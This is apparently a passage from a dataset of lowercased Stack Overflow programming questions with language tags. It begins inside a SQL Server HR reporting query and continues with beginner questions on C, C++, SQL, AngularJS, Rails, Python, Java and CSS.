e.employeeclasscode      e.employeeclass      e.regularversustemporary regulartemporary      e.employeetype      e.personnelstatusdesc      e.personorganizationrelationshipcode      p.personofinterest      p.personofinterestdesc      e.paygroupcode      e.employeecategorycode      e.employeesubcategorycode      p.employmentcategory      e.nonemployeenonworktypecd nonemployeenonworktypecode      p.nonemployeenonworktypedesc      a.globalassignmentprogramcd globalassignmentprogramcode      a.globalassignmentprogramdesc      case when year(e.globalassignmentstartdt) &gt; 2100 then null else e.globalassignmentstartdt end globalassignmentstartdate      case when year(e.globalassignmentenddt) &gt; 2100 then null else e.globalassignmentenddt end globalassignmentenddate      e.inpatexpatstatus      e.homecountry      e.homehostcountry hostcountry      case when year(e.eystartdate) &gt; 2100 then null else e.eystartdate end eystartdate      case when year(e.lastrehiredate) &gt; 2100 then null else e.lastrehiredate end lastrehiredate      case when year(e.senioritydate) &gt; 2100 then null else e.senioritydate end senioritydate      case when year(e.employeeeffectivedate) &gt; 2100 then null else e.employeeeffectivedate end currentemploymentdate      case when year(e.partneradmissiondate) &gt; 2100 then null else e.partneradmissiondate end partneradmissiondate      r.rankcdname rankcodename      e.rank      r.rankdesc      e.businesstitle --new     r.rankgroup1 --new     e.gfisrank      e.experiencelevel      e.globalgrade      e.jobcode --new     e.jobcddesc jobcodedesc --new     e.departmentcode      e.departmentname      e.companycode      c.description company      c.descrac companyac      e.managerialcountrycd managerialcountry      o.codeblock      o.bucd bu      o.oucd ou      o.mucd mu      o.smucd smu      o.buname      o.ouname      o.muname      o.smuname      o.userdefslhierarchy1 serviceline      o.userdefslhierarchy2 subsl1      o.userdefslhierarchy3 subsl2      o.alternateserviceline      o.userdefareahierarchy1 bulevel1      o.userdefareahierarchy2 bulevel2      o.userdefareahierarchy3 bulevel3      l.location locationcode      l.city locationcity      l.state locationstateprov      l.country locationcountry      l.userdefinedhrgeo1 geolevel1      l.userdefinedhrgeo2 geolevel2      l.userdefinedhrgeo3 geolevel3      l.userdefinedhrgeo4 geolevel4      l.userdefinedhrgeo5 geolevel5      e.counselorgui --new     e.counselorname --new     e.billrate      e.source       --**** confidential fields ****     e.gendercode      e.termcd termcode      e.terminationreasoncode      e.compensationcurrency      e.compensationrate      e.compensationfrequency      e.monthlycompensationrate      e.annualcompensationrate      case when year(p.salaryeffectivedt) &gt; 2100 then null else p.salaryeffectivedt end salaryeffectivedate      e.salaryadminplancode      e.salaryadminplan      e.salarygrade      case when year(e.salarygradeentrydate) &gt; 2100 then null else e.salarygradeentrydate end salarygradeentrydate      null jobkey      null roworder  from dbo.vwrptfactemployee f with (nolock)       inner join dbo.vwrptdimemployee e with (nolock) on (f.dimemployeekey = e.dimemployeekey)      inner join dbo.vwrptdimrank r with (nolock) on (f.dimrankkey = r.dimrankkey)     inner join dbo.vwrptdimorganization o with (nolock) on (f.dimorganizationkey = o.dimorganizationkey)     inner join dbo.vwrptdimlocation l with (nolock) on (f.dimlocationkey = l.dimlocationkey)     inner join dbo.vwrptdimassignment a with (nolock) on (f.dimassignmentkey = a.dimassignmentkey)     --inner join dbo.vwrptdimdate d with (nolock) on (f.transeffectivedatekey = d.dimdatekey)     inner join dbo.vwrptdimemployeev2 p with (nolock) on (f.dimemployeekey = p.dimemployeekey)     left outer join (select actioncode  actionreasoncode  description  row_number() over (partition by actioncode  actionreasoncode order by effectivedate desc) as roworder                     from pisupport.vwrptsetfactionreason with (nolock)) ar         on (ar.actioncode = e.actioncode and ar.actionreasoncode = e.actionreasoncode and ar.roworder = 1)     left outer join (select distinct c1.*  row_number() over (partition by companycode order by effectivedate desc) as roworder                      from pisupport.vwrptsetfcompany c1 with (nolock)) c         on (c.companycode = e.companycode and c.roworder = 1)  where (e.jobeffectivedt between @jobstartdate and @jobenddate) --  and (e.actioncode in ( add   dta   hir   poi   reh   per   ter ))     --and (o.bucd+o.oucd+o.mucd+o.smucd like  % +@codeblock+ %  or @codeblock is null)     --and (e.gpn = @gpn or @gpn is null)     --and (e.gui = @gui or @gui is null)     --and (l.userdefinedhrgeo1 in (@geoarea) )     and (l.userdefinedhrgeo2 in ( uk and ireland ))     --and (l.userdefinedhrgeo3 in (@country) )     --and (o.userdefareahierarchy1 in (@area) )     --and (o.userdefareahierarchy2 in (@region) )     --and (o.userdefslhierarchy1 in (@serviceline) )     --and (o.userdefslhierarchy2 in (@subserviceline) )     --and (r.rankcd in (@rankcode) )   union   select distinct * from ( select distinct     isnull(e.lastname n.lastname) lastname      isnull(e.secondlastname n.secondlastname) secondlastname      isnull(e.firstname n.firstname) firstname      isnull(e.middlename n.middlename) middlename      e.preferredname      isnull(e.preferredfirstname n.preferredfirstname) preferredfirstname      isnull(e.nameac n.namealternatecharacter) nameac      e.lastnameac      e.firstnameac      e.middlenameac      e.gui      fd.employeeid      fd.lpn      fd.gpn      fd.employeerecord      fd.jobeffectivedate      fd.jobeffectivedatesequence      fd.actioncode      fd.action      fd.actiondate      fd.actionreasoncode      fd.actionreason      fd.employeestatuscode      fd.employeestatus      null leaveeffectivedate      case when year(fd.expectedreturndate) &gt; 2100 then null else fd.expectedreturndate end expectedreturndate      fd.fullparttime      fd.shiftcode fwacode      fd.shift fwaname      null telework      fd.standardhoursfrequency      null standardhours      fd.fte      fd.paidfte      null overtimeeligibility      fd.employeeclasscode      fd.employeeclass      fd.regularversustemporary regulartemporary      fd.employeetype      null personnelstatusdesc      fd.personorganizationrelationshipcode      null personofinterest      null personofinterestdesc      fd.paygroupcode      fd.employeecategorycode      fd.employeesubcategorycode      null employmentcategory      null nonemployeenonworktypecode      null nonemployeenonworktypedesc      null globalassignmentprogramcode      null globalassignmentprogramdesc      null globalassignmentstartdate      null globalassignmentenddate      null inpatexpatstatus      null homecountry      null hostcountry      null eystartdate      null lastrehiredate      null senioritydate      null currentemploymentdate      null partneradmissiondate      r.rankcdname rankcodename      fd.rank      r.rankdesc      fd.businesstitle --new     r.rankgroup1 --new     fd.gfisrank      null experiencelevel      null globalgrade      fd.jobcode --new     null jobcodedesc --new     fd.departmentcode      null departmentname      fd.companycode      c.description company      c.descrac companyac      null managerialcountry      o.codeblock      o.bucd bu      o.oucd ou      o.mucd mu      o.smucd smu      o.buname      o.ouname      o.muname      o.smuname      o.userdefslhierarchy1 serviceline      o.userdefslhierarchy2 subsl1      o.userdefslhierarchy3 subsl2      o.alternateserviceline      o.userdefareahierarchy1 bulevel1      o.userdefareahierarchy2 bulevel2      o.userdefareahierarchy3 bulevel3      l.location locationcode      l.city locationcity      l.state locationstateprov      l.country locationcountry      l.userdefinedhrgeo1 geolevel1      l.userdefinedhrgeo2 geolevel2      l.userdefinedhrgeo3 geolevel3      l.userdefinedhrgeo4 geolevel4      l.userdefinedhrgeo5 geolevel5      null counselorgui --new     null counselorname --new     null billrate      fd.source       --**** confidential fields ****     null gendercode      null termcode      fd.terminationreasoncode      fd.compensationcurrency      fd.compensationrate      fd.compensationfrequency      fd.monthlycompensationrate      fd.annualcompensationrate      null salaryeffectivedate      fd.salaryadminplancode      fd.salaryadminplan      fd.salarygrade      case when year(fd.salarygradeentrydate) &gt; 2100 then null else fd.salarygradeentrydate end salarygradeentrydate      fd.job_key      row_number() over (partition by fd.employeeid  fd.employeerecord  fd.jobeffectivedate          fd.jobeffectivedatesequence  fd.actioncode  fd.actionreasoncode order by fd.job_key desc) as roworder  from dbo.vwrptdimemployee_futuredated fd     inner join dbo.vwrptdimorganization o with (nolock) on (fd.dimorganizationkey = o.dimorganizationkey)     inner join dbo.vwrptdimlocation l with (nolock) on (fd.dimlocationkey = l.dimlocationkey)     left outer join dbo.vwrptdimrank r with (nolock) on (fd.rank = r.rankcd)     left outer join dbo.vwrptdimemployeeall e with (nolock) on (fd.gpn = e.gpn and fd.gpn &lt;&gt;    and e.rowiscurrent =  y )     left outer join (select *  row_number() over (partition by employeeid  nametype order by effectivedate desc) as roworder                     from pisupport.vwrptpersonacnames with (nolock)         ) n on (n.employeeid = fd.employeeid and n.nametype =  pri  and n.countrynameformat = fd.setidlaboragreement and n.roworder = 1)     left outer join (select distinct c1.*  row_number() over (partition by companycode order by effectivedate desc) as roworder                      from pisupport.vwrptsetfcompany c1 with (nolock)) c         on (c.companycode = fd.companycode and c.roworder = 1)  where     fd.jobeffectivedate between @jobstartdate and @jobenddate     and fd.edwiscurrentrecord = 1     and fd.employeeid is not null     --and (e.actioncode in ( add   dta   hir   poi   reh   per   ter ))     --and (o.bucd+o.oucd+o.mucd+o.smucd like  % +@codeblock+ %  or @codeblock is null)     --and (fd.gpn = @gpn or @gpn is null)     --and (l.userdefinedhrgeo1 in (@geoarea) )     and (l.userdefinedhrgeo2 in ( uk and ireland ))     --and (l.userdefinedhrgeo3 in (@country) )     --and (o.userdefareahierarchy1 in (@area) )     --and (o.userdefareahierarchy2 in (@region) )     --and (o.userdefslhierarchy1 in (@serviceline) )     --and (o.userdefslhierarchy2 in (@subserviceline) )     --and (fd.rank in (@rankcode) )     and fd.futuredatedemployeerecordskey not in (select futuredatedemployeerecordskey from #futuredatedexclude) ) x where roworder = 1  drop table #futuredatedexclude </code></pre>,sql
best approach for returning result from a method  i have to make a function/method in c++ for implementing merge sort that takes two vectors as input and stores the result in another vector. which is the best approach for such a function:   <ol> <li>return a pointer to the result vector.</li> <li>return the result vector.</li> <li>include a third vector in the function s argument list to place the result in.</li> </ol>   which of these approach will be recommended.,c++
sql find similar names in same column  i m doing a data cleanup &amp; have a [prospects] column that has data such as:    <code> prospecta - 2013 prospecta - 2015 prosb.2014 prosb.2015 2013xyz 2014xyz 2015xyz abc prospect2 george</code>    now i want to return groups of prospects  i.e. if part of prospect matches another prospect  return those groups. in this example  i would return:    <code> prospecta - 2013 prospecta - 2015 prosb.2014 prosb.2015 2013xyz 2014xyz 2015xyz </code>    can it be done,sql
mysql - calculate values based on other id <pre><code>itemid quantity custid 1      1        1000  6      1        1000  7      2        1000  2      12       1001  3      24       1001  4      16       1001  2      1        1002  </code></pre>   how should i calculate the quantity based on each custid purchased  i.e.    <pre><code>custid quantity 1000   4  </code></pre>,mysql
c code - cannot insert new line via putchar.  i have a source code in c.   <pre><code>#include &lt;stdio.h&gt; #define in_w 1 #define out_w 0 #define space 32 #define tab 9  int main() {      int c  state  temp;     state = out_w;      while ((c = getchar()) != eof) {         if ((c != space || c != tab) &amp;&amp; (state == out_w)) {             state = in_w;             temp = c;             c = 13;             putchar(c);             c = 10;             putchar(c);             putchar(temp);                   } else if (c != space || c != tab)             putchar(c);              else              state = out_w;           }        return 0; } </code></pre>   what i want to achieve is i will type in some characters/words and catch those inputs by getchar. when ever getchar receive any characters besides space or tab  it will print a new line and then print those characters until it found a space or tab (abandon them). for example  when i type    <pre><code>123  eat    4bananas     in themorning </code></pre>   the program will print   <pre><code>123 eat 4bananas in themorning </code></pre>   i tried to integrate it with cr or lf  but it still print  123  eat     4bananas     in themorning .     my questions are: 1. what did i miss  2. in the last  else   which one is more efficient for the running program:   <pre><code>    else          state = out_w; </code></pre>   or   <pre><code>    else if ((c == space || c == tab) &amp;&amp; state == in_w)         state = out_w;     else         continue;        // or can i use single  ;  since we do nothing in here  </code></pre>   that s all. thank you for your help.    note: i tried playing with  \n  and  \t  too.    regards  mario,c
why the if (find == a[i]) in searchback isn t giving true except first time on debugging it clearly didnt work except for first time  why doesn t <code>if(find == a[i])</code> in <code>searchback</code> evaluate to true except for the first time    <pre><code>#include &lt;iostream&gt;  using namespace std;  int count(int find  int a[]  int size); bool searchback(int a[]  int size  int find  int in);  int main()  {     int a[25] =      { 1 2 1 85 14 7 2 2 14 200 7 62 7 19 19 200 17 2 19 20 85 44 63 7 63 }  q;     for (int i = 0; i &lt; 25; i++)     {         q = 0;         q = count(a[i]  a  25);         if (q != 0)         {             cout &lt;&lt; a[i] &lt;&lt;   :   &lt;&lt; q &lt;&lt; endl;         }     }     system( pause ); }  int count(int find  int a[]  int size) {     int counter = 0;     bool n;     for (int j = 0; j &lt; size; j++)     {        if (find == a[j])        {             n = searchback(a  25  a[j]  j - 1);             if (n == false)             {                 counter++;             }             else                return counter;         }         return counter;      }   }  bool searchback(int a[]  int size  int find  int in) {       for (int i = 0; i &lt;= in; i++)      {         if (find == a[i])             return true;         else             return false;     } } </code></pre>,c++
preselect value in dropdown in angular  i am trying to preselect a value in a dropdown/selectbox in angular. it should be really simple  but it will not work.    this is my markup:   <pre><code>                &lt;select name= type  ng-model= ctrl.typeid  required&gt;                     &lt;option value= 1 &gt;type 1&lt;/option&gt;                     &lt;option value= 2 &gt;type 2&lt;/option&gt;                     &lt;option value= 3 &gt;type 3&lt;/option&gt;                     &lt;option value= 4 &gt;type 4&lt;/option&gt;                 &lt;/select&gt; </code></pre>   in my controller i simply have:   <pre><code>vm.typeid = 2; </code></pre>   but it does not select anything. instead  when using inspector on the dropdown element i see a new <code>&lt;option&gt;</code> with the value <code>   number:2   </code>.    what am i missing,angularjs
how to display contplaceholder in the center of the browser  can somebody tell me how can i open my contentplaceholder in the center of the browser.,asp.net
how to hold an activity until data is being downloaded/available  i am fairly new to android programming and would like to clarify a scenario. okay  i have two activities called a &amp; b. when activity a is launched  it requests to download some data in the background and anyway after 3 seconds activity b is launched. activity a acts like a splash screen. so when b activity is launched  i want to hold and wait until the data is fully loaded so that i can initialize the downloaded data in activity b. at the moment activity b launches even before the data is downloaded. if this is the case  after b is loaded and then data is being downloaded  how would i dynamically load the data in activity b   also  is there a way to hold the oncreate in activity b until the data is being downloaded     thank you in advance.,android
â  appearing when  £  is used in a h3 tag  i am getting really confused because when i include a pound sign within an <code>&lt;h3&gt;</code> tag  the â character appears before it. any help with removing it    <pre><code>&lt;div align= right  style= margin-right: 300px; &gt;     &lt;p&gt;         &lt;h2&gt;£25.00&lt;/h2&gt;     &lt;/p&gt; &lt;/div&gt; </code></pre>   the output to screen appears as  â£25.00  - i can t screenshot it as it crashes my pc.,html
how to make multi inline-block element width stretch 100%  is there any way to make multi inline-blocks element width stretch to 100%      <strong>html:</strong>   <pre><code>&lt;div&gt;   &lt;select&gt;     &lt;option&gt;area code&lt;/option&gt;   &lt;/select&gt;   &lt;input type= text  style= width:20% &gt;   -   &lt;input type= text  style= width:20% &gt;   -   &lt;input type= text  style= width:20% &gt; &lt;/div&gt; </code></pre>,css
changing mysql values in row when displayed  i  have a table<code>entities</code> .in this table i got columns :<code>rank name spouse level online class</code> as seen when displayed in site >>class in the table is  numbers values like 25 . 145 ....  i want the following message to be displayed like :<code>number 25 displayed as good</code>. <code>number 145 displayed as verygood</code> .     see this     <a href= http://i.stack.imgur.com/7e2ek.png  rel= nofollow >http://i.stack.imgur.com/7e2ek.png</a>,mysql
junior .net developer interview questions (alghoritms)  1) given two arrays  a and b. array a consists of a sequence (ex. [1 2 3 4 5 6]) and array b consists of a sequence (ex. [2 4 3 1 _  6]). q: find the missing element in the array b  no more than one pass of iteration. you can use an array a.    2) given one array (ex. [2 5 4 1 3 6). q: sort this array  no more than one pass of iteration.    i failed :(,.net
mysql query to count user orders by type  i have this 3 tables: users  orders and order_item.    when a user can have a order  and the order item can be event only  membership only or both  and so 2 line will be written to the order_items    users tables   <pre><code>id | user_id   | name  | phone ---|-----------|-------|------ 1  | 123456789 | jon   | 555-55555 2  | 123456780 | alice | 555-6666 </code></pre>   orders tables   <pre><code>id | user_id | user_uid  | user_info ---|---------|-----------|---------- 1  | 1       | 123456789 | bla 2  | 2       | 123456780 | foo 3  | 2       | 123456780 | foo </code></pre>   order_items table   <pre><code>id  | order_id | order_type | price --- | -------- | ---------- | ------ 1   | 1        | membership | 70 2   | 1        | event      | 200 3   | 2        | event      | 300 4   | 3        | membership | 70 </code></pre>   the relationship is like this    <pre><code>order_items.order_id -&gt; orders.id orders.user_id -&gt; users.id orders.user_uid -&gt; users.user_id </code></pre>   i m looking for a query which will produce this type of output    <pre><code>user_id   | name   | count_membership   | count_events   | total_orders --------  | ------ | ------------------ | -------------- | -------------- 123456789 | jon    | 1                  | 1              | 1 123456780 | alice  | 1                  | 1              | 2 </code></pre>   i like to count the total orders a user have  and count how many of each of item he have. in the end i like to filter out all users where <code>count_membership = 0</code>     thanks in advance,mysql
how can we check if an input string is a valid double   if i m reading numbers of type <strong>double</strong> from stdin  how can i check if the numbers being read are in fact valid (that the numbers are in fact a double),c
why is this returning an extra none  <pre><code>def hotel_cost(nights):     return nights * 140  bill = hotel_cost(5)  def add_monthly_interest(balance):     return balance * (1 + (0.15 / 12))  def make_payment(payment  balance):      new_balance2 = balance - payment     new_balance = add_monthly_interest(new_balance2)     print  you still owe:   + str(new_balance)  make_payment(100 bill) </code></pre>   why does this return   <pre><code>you still owe: 607.5 none </code></pre>,python
itemarray data and then skip some value <pre><code>foreach (string item in textarr) {     if (string.isnullorempty(item))         continue;     if (itemarr[0]= his )         continue;     if (itemarr[0]= frag )         continue;     string[] itemarr = item.split(   );     datarow row=data.newrow();     row[ recordheader ]=itemarr[0];     row[ clientname ] = itemarr[1];     row[ date1 ] = itemarr[2];     row[ date2 ] = itemarr[3];     data.rows.add(row); } </code></pre>   textfile data:   <pre><code>row1:image 0 0 0 row2:his -1 -1 -1 -1    &lt;no need  row3:frag 0 0 -1 -1 -1  &lt;no need row4:image 0 0 0 row5:his -1 -1 -1 -1    &lt;no need  row6:frag 0 0 -1 -1 -1  &lt;no need row7:image 0 0 0 row8:his -1 -1 -1 -1    &lt;no need  row9:frag 0 0 -1 -1 -1  &lt;no need </code></pre>   how to add some changes to skip <code>row2 3 5 6 8&amp;9 data</code>  my idea is if the row data  starts is <code>his</code> or <code>frag</code> then skip row. but i do not know make the code work.,c#
converting time efficiently in python  i have a program that does some parsing and takes in time in a microsecond format. however  when reading this data  it s not very pretty to see 10000000000 microseconds. something like x seconds  or x minutes  looks better.    so.. i built this:   <pre><code>def convert_micro_input(micro_time):     t = int(micro_time)     if t&lt;1000: #millisecond         return str(t) +  us      elif t&lt;1000000: #second         return str(int(t/1000))         +     ms      elif t&lt;60000000: #is a second         return str(int(t/1000000))      +     second(s)      elif t&lt;3600000000:         return str(int(t/60000000))     +     minute(s)      elif t&lt;86400000000:         return str(int(t/3600000000))   +     hour(s)      elif t&lt;604800000000:         return str(int(t/86400000000))  +     day(s)      else:         print  exceeded time conversion possibilities          return none </code></pre>   now  in my eyes  this looks fine  however  my boss wasn t satisfied. he said the numbers are confusing in terms of readability if someone were to come edit this in a year and he said to make this happen in a while loop.    so  with that being said. under these constraints  i am wondering at how to implement this same logic into a more readable (maybe using python equivalent of a macro) form and also put it in a while loop.    thanks everyone.,python
ruby on rails active record attribute introspection  what is the best way to get the type of an attribute in active record (even before the attribute has been assigned)  for example (this doesn t work  just the goal):   <pre><code>user.new user.inspect(:id)         # :integer user.inspect(:name)       # :string user.inspect(:password)   # :string user.inspect(:updated_at) # :datetime user.inspect(:created_at) # :datetime </code></pre>   thanks!,ruby-on-rails
pass data from directive to controller  how is it possible to bind a variable inside a controller to a ng-model of an input tag inside a directive  in angular     here is the code im working on which is not working: inside directive html:   <pre><code>&lt;input kendo-auto-complete k-data-source= data  ng-model= myvalue   style= width: 100%;  /&gt; </code></pre>   my directive script:   <pre><code> app.directive( myautocomplete   function () {     return {         restrict:  e           scope: {             data:  =info              }         templateurl:  /directive.html           transclude: true          link: link          controller:function() {             var a = 4;         }     }; </code></pre>   calling the directive somewhere else:   <pre><code>    &lt;my-autocomplete info= vm.people   ng-hide= dialogishidden &gt;&lt;/my-autocomplete&gt;{{myvalue}} </code></pre>,angularjs
how to print out a string of names and numbers from an array  i have to make a program where you ask user to enter any number of students  that asks the name and grade of each student. so if i said 2 students  i would put billy smith  then 54  then it would ask me the name of the 2nd student  john smith  then the grade  81. then it outputs the names with grades in descending order of grades. it would output:   <pre><code>name---------grades ------------------ john smith     81  billy smith   54 </code></pre>   i have evrything except for it printing it out. i need it to print out the name with the grade. here is what i have:   <pre><code>import java.util.*;  public class assignment5 {  public static void main(string[] args) {  //      scanner for first name and last name with space in between.  java.util.scanner input = new java.util.scanner(system.in);  input.usedelimiter(system.getproperty( line.separator ));          system.out.print( enter the number of students:  );         int numofstudents = input.nextint();         string[] names = new string[numofstudents];         double[] array = new double[numofstudents];         for(int i = 0; i &lt; numofstudents; i++) {             system.out.print( enter the student s name:  );             names[i] =input.next();             system.out.print( enter the student s score:  );             array[i] = (double) input.nextdouble();         }         system.out.print( name  +  \tscore );         system.out.print( \n----  +  \t----\n );         selectionsort(names  array);         system.out.println(arrays.tostring(names));      }     public static void selectionsort(string[] names  double[] array) {         for(int i = array.length - 1; i &gt;= 1; i--) {             string temp;             double currentmax = array[0];             int currentmaxindex = 0;             for(int j = 1; j &lt;= i; j++) {                 if (currentmax &gt; array[j]) {                     currentmax = array[j];                     currentmaxindex = j;                 }             }                    if (currentmaxindex != i) {                  temp = names[currentmaxindex];                 names[currentmaxindex] = names[i];                 names[i] = temp;                 array[currentmaxindex] = array[i];                 array[i] = currentmax;             }         }            } } </code></pre>,java
the vendor email associated with your app do not reflect the name  xxxxxxxx   when i post my ios app to appstore. the checker of appstore of apple send message as below:     the vendor email associated with your app do not reflect the name  xxxxxxxx .    so what the  vendor email  means and how can i change it.,ios
why does activerecord query return ambiguous column reference   in a rails app i m setting up nested routes   <pre><code>resource country do   resource state   resource city   resource user   resource post end </code></pre>   i now want to display users that have posted within a country at <code>../country/1/users</code>    in the user controller i have:   <pre><code>def index    @user = user.includes(:posts  :city  :state  :country)   @user = @users.where( states.country_id =     params[:country_id]) if params[:country_id]   @active_users = @users.where( posts_count &gt;     0).ranked_scope end </code></pre>   i m  getting:   <pre><code>pg::error: error:  column reference  posts_count  is ambiguous line 1: ...untry_id  where (states.country_id =  1 ) and (posts_co... </code></pre>   i m not sure if this is because:   <ol> <li>there is a <code>posts_count</code> column on user  city  state  country models and the query does not know which on to use. if so  what is the correct syntax to specify the table </li> <li>i m stringing together two where clauses incorrectly.</li> <li>something else.... </li> </ol>   i d appreciate any suggestions or ideas.,ruby-on-rails
create array of data with jquery  i want to create an array from a loop which gets data from db using ajax. this is an example of the data:   <pre><code>events : [                      {                         id : 999                          title :  anglais mr azhar 2a                           start :  2015-12-08t14:30:00                           end :  2015-12-07t16:30:00                      }                       {                         id : 999                          title :  erp 1b                           start :  2015-12-08t16:45:00                           end :  2015-12-08t18:15:00                      }                       {                         id : 999                          title :  pmc mr belasla 3a                           start :  2015-12-07t08:30:00                           end :  2015-12-07t10:00:00                      }  ] </code></pre>   i want to assign the array created in the loop to <code>events</code> not like in this example where it is done manually.    so how can i create an array from this data--id  title  start  ...-- to set events  something like this:   <pre><code>events=myarray </code></pre>,jquery
what s with the [] in angularjs   two code samples:    first:   <pre><code>var app = angular.module( myapp   []); app.controller( myctrl   function($scope){     $scope.equation = {};     $scope.change = function() {         $scope.equation.output = number($scope.equation.x) + 2;     } }); </code></pre>   second:   <pre><code>var app = angular.module( myapp   []); app.controller( myctrl   [ $scope   function($scope){     $scope.equation = {};     $scope.change = function() {         $scope.equation.output = number($scope.equation.x) + 2;     } }]); </code></pre>   i currently have both of them working.    what s with the <code>[]</code> enclosing the callback in the second sample  and what is different between these implementations,angularjs
angularjs  how to re-apply directive when the $scope model get data from an api call   this directive is working beautifully for me:   <pre><code>    my1040pr.directive( mycurrency   function () {     return {         require:  ngmodel           restrict:  a           link: function($scope  $element  $attrs) {             $element.bind( change   function() {                 $element.formatcurrency({                     roundtodecimalplace: -2                      colorize: true                 });             });         }     }; }); </code></pre>   but when i update the scope model using a $resource call to an api  the model gets populated correctly with the data  but the currency masking that should be applied in the directive on the  change  event  does not get applied... any help will be appreciated...    _e,angularjs
communication between two rails applicarions  i have two rails applications. one is like web store and the other is like delivery service app.    i want to create something like this: user goes to web store  buys some stuff. if this person wants these items to be delivered to his house  he fills the order form and the delivery service app receives information from web store with the delivery address.    can anyone tell me what would be the best way to do that  if possible  maybe give some examples.,ruby-on-rails
problem with partial form in rails 3  i tried to make a partial form.but an error like this occured:   <pre><code>syntaxerror in vorlesungs#new  showing /home/babak/management/app/views/vorlesungs/_form.erb where line #1 raised:  compile error /home/babak/management/app/views/vorlesungs/_form.erb:1: dynamic constant assignment ..._assigns[:submit_lable];form = local_assigns[:form];;@output...                               ^ extracted source (around line #1):  1: &lt;html&gt; 2: &lt;body&gt; 3: &lt;p&gt; 4: &lt;table&gt; </code></pre>   that is my _form code:   <pre><code>&lt;html&gt; &lt;body&gt; &lt;p&gt; &lt;table&gt;   &lt;tr align= center  style= width: 100% &gt;     &lt;td width= 25% &gt;&lt;/td&gt;     &lt;td width= 50% &gt;       &lt;table&gt;         &lt;tr&gt;           &lt;td&gt;name : &lt;/td&gt;           &lt;td&gt;&lt;%= v.text_field :name %&gt; &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;           &lt;td&gt;name de professur :&lt;/td&gt;           &lt;td&gt;&lt;%= v.text_field :leiter_name %&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;           &lt;td&gt;proffesuren :&lt;/td&gt;           &lt;td&gt;&lt;%= v.text_field :professuren %&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;           &lt;td&gt; &lt;%= submit_tag submit_lable%&gt;&lt;/td&gt;         &lt;/tr&gt;       &lt;/table&gt;     &lt;/td&gt;     &lt;td width= 25% &gt;&lt;/td&gt;    &lt;/tr&gt; &lt;/table&gt; &lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and in my view:   <pre><code>&lt;%= form_for(@vorlesung) do |v| %&gt;     &lt;%= render :partial =&gt;  form  :locals =&gt; {:v =&gt;v :submit_lable =&gt; update } %&gt; &lt;% end %&gt; </code></pre>   thank you for your helps,ruby-on-rails
how to make <hr> same width as the horizontal menu   i m trying to style the menu with to have the horizontal line above it the same width  like on this <a href= http://www.bluenote.com/  rel= nofollow noreferrer >blue note</a> website. <a href= https://i.stack.imgur.com/zjqst.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zjqst.png  alt= enter image description here ></a> i can t seem to get it to scale right  i found <a href= https://stackoverflow.com/questions/44185872/how-to-make-an-hr-element-to-be-the-same-width-of-a-text-above-it >this</a> question is similar but it did not help me. i ve tried a bunch of things and could really appreciate some help  i m using wordpress with the <a href= https://colorlib.com/wp/themes/blaskan/  rel= nofollow noreferrer >blaskan theme</a>.  here is the <a href= http://jsfiddle.net/api/post/library/pure/#&amp;togetherjs=ihelqq550t  rel= nofollow noreferrer >fiddle</a> and the related html and css:   <pre><code>&lt;nav id= nav_1 &gt;  &lt;button id= button_2 &gt;     menu &lt;/button&gt; &lt;div id= div_3 &gt;     &lt;h6 id= h6_4 &gt;         reading jazz - listening to literature     &lt;/h6&gt;&lt;hr id= hr_5  /&gt; &lt;/div&gt; &lt;div id= div_6 &gt;     &lt;ul id= ul_7 &gt;         &lt;li id= li_8 &gt;             &lt;a href= http://localhost/bluequote/blog/  id= a_9 &gt;news&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_10 &gt;             &lt;a href= http://localhost/bluequote/  id= a_11 &gt;home&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_12 &gt;             &lt;a href= http://localhost/bluequote/about/  id= a_13 &gt;about&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_14 &gt;             &lt;a href= http://localhost/bluequote/contact/  id= a_15 &gt;contact&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_16 &gt;             &lt;a href= http://localhost/bluequote/jazz/  id= a_17 &gt;jazz&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_18 &gt;             &lt;a href= http://localhost/bluequote/literature/  id= a_19 &gt;literature&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_20 &gt;             &lt;a href= http://localhost/bluequote/test-3/  id= a_21 &gt;test&lt;/a&gt;         &lt;/li&gt;         &lt;li id= li_22 &gt;             &lt;a href= http://localhost/bluequote/new/  id= a_23 &gt;new&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>      <pre><code>    #nav_1 {     box-sizing: border-box;     color: rgb(137  137  137);     height: 227.538px;     overflow-wrap: break-word;     text-align: justify;     text-decoration: none solid rgb(137  137  137);     text-size-adjust: 100%;     width: 750px;     word-wrap: break-word;     column-rule-color: rgb(137  137  137);     perspective-origin: 375px 113.762px;     transform-origin: 375px 113.762px;     caret-color: rgb(137  137  137);     border: 0px none rgb(137  137  137);     font: normal normal 400 normal 14px / 25.9px verdana;     margin: 0px 101.8px;     outline: rgb(137  137  137) none 0px;     padding: 0px 15px; }/*#nav_1*/  #nav_1:after {     box-sizing: border-box;     clear: both;     color: rgb(137  137  137);     content:        ;     display: table;     height: 0px;     overflow-wrap: break-word;     text-align: justify;     text-decoration: none solid rgb(137  137  137);     text-size-adjust: 100%;     width: 0px;     word-wrap: break-word;     column-rule-color: rgb(137  137  137);     perspective-origin: 0px 0px;     transform-origin: 0px 0px;     caret-color: rgb(137  137  137);     border: 0px none rgb(137  137  137);     font: normal normal 400 normal 14px / 25.9px verdana;     outline: rgb(137  137  137) none 0px; }/*#nav_1:after*/  #nav_1:before {     box-sizing: border-box;     color: rgb(137  137  137);     content:        ;     display: table;     height: 0px;     overflow-wrap: break-word;     text-align: justify;     text-decoration: none solid rgb(137  137  137);     text-size-adjust: 100%;     width: 0px;     word-wrap: break-word;     column-rule-color: rgb(137  137  137);     perspective-origin: 0px 0px;     transform-origin: 0px 0px;     caret-color: rgb(137  137  137);     border: 0px none rgb(137  137  137);     font: normal normal 400 normal 14px / 25.9px verdana;     outline: rgb(137  137  137) none 0px; }/*#nav_1:before*/  #button_2 {     color: rgba(0  0  0  0.8);     cursor: pointer;     display: none;     height: auto;     overflow-wrap: break-word;     text-decoration: none solid rgba(0  0  0  0.8);     text-size-adjust: 100%;     width: auto;     word-wrap: 